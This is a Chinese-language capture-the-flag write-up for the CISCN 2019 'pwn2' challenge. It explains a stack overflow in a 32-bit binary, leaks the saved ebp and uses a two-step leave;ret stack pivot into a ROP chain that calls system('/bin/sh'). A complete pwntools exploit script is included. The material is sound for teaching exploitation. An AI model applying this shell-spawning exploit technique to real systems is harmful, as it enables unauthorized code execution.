题面
二进制文件。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./pwn2
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2019东南-PWN2/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
ida 静态分析:
main():
1
2
3
4
5
6
7
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
|
vul() 函数:
1
2
3
4
5
6
7
8
9
10
|
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
|
还有个最没蛋用的函数:
1
2
3
4
|
int hack()
{
return system("echo flag");
}
|
漏洞函数 vul() 能写入的数据很少(只有 0x30 字节,而 s 在栈上的 ebp - 0x28),栈溢出只能覆盖掉 return address 之后再补上一个地址。没办法构建很长的 ROP 链。考虑要栈迁移。
利用
这里要在栈上做迁移,要拿到栈的地址。 ebp 指向的地址存储的数据就是 old ebp 的地址。可以通过填充到 ebp 前面来让 printf 输出 ebp 的数据。
还需要 leave;ret 的 ROP。
整个栈迁移需要用到两次 leave; ret 第一次将 ebp 放入我们栈迁移的位置,第二次将 esp 也迁移到这个位置,此时 ebp 不知道跑哪去了,但是不重要。esp 会指向我们所给的地址开始调用。
我们要在 s 上构建 ROP 链,然后通过栈迁移将栈迁移到这里,把 esp 跳到这开始执行 ROP 链。
首先一段填充泄漏 ebp 指向的数据,old ebp:
1
2
3
4
5
|
payload = b"a" * 0x27 + b"B"
io.send(payload)
io.recvuntil(b"B")
old_ebp = u32(io.recv(4))
print("old ebp address: ", hex(old_ebp))
|
通过 pwndbg 查看 ebp 存储的 old ebp 比当前 ebp 之差为 0x10,这里用于确定 s 的位置。

拿到 old ebp 之后,可以确定数组 s 的位置为 old_ebp - 0x38。
我们接下来在第二次 read 的时候对 s 重新写构造 ROP。

在第一次 leave; ret。会将 ebp 赋值给 esp ,之后将 ebp 跳到 old_ebp - 0x38,也就是我们做栈迁移后 ROP 链的位置。之后 pop rip,开始执行第二次 leave;ret
第二次会将 esp 跳转到 ebp 的位置,也就是 ROP 链,然后把第一条 aaaa 给 ebp,此时 ebp 存储的就是垃圾数据。然后开始 ret 执行接下来的 ROP 链,调用 system。
需要注意的是 system 的函数调用结构:
1
|
int system(const char *command);
|
参数是一个地址,所以需要知晓我们写入 /bin/sh\x00 的位置。这时候就可以利用之前获得的 old_ebp 计算。前面做调用的时候花了 0x10 字节,之后地方就来写 shell 字符串。也就是 old_ebp - 0x28。
1
2
3
4
5
6
7
8
|
payload = b"aaaa" + p32(system_plt) + b"aaaa" + p32(old_ebp - 0x28) + b"/bin/sh\x00"
payload = payload.ljust(0x28, b"\x00")
payload += p32(old_ebp - 0x38) + p32(leave_ret)
"""
old ebp - 0x38 刚好是 buf 的位置
old ebp - 0x28 是填充 0x10 后的位置,
"""
io.send(payload)
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
io = process("./pwn2")
elf = ELF("./pwn2")
system_plt = elf.plt["system"]
leave_ret = 0x8048562
payload = b"a" * 0x27 + b"B"
gdb.attach(io)
io.send(payload)
io.recvuntil(b"B")
old_ebp = u32(io.recv(4))
print("old ebp address: ", hex(old_ebp))
payload = b"aaaa" + p32(system_plt) + b"aaaa" + p32(old_ebp - 0x28) + b"/bin/sh\x00"
payload = payload.ljust(0x28, b"\x00")
payload += p32(old_ebp - 0x38) + p32(leave_ret)
"""
old ebp - 0x38 刚好是 buf 的位置
old ebp - 0x28 是填充 0x10 后的位置,
"""
io.send(payload)
io.interactive()
|
参考资料
- 栈迁移的原理&&实战运用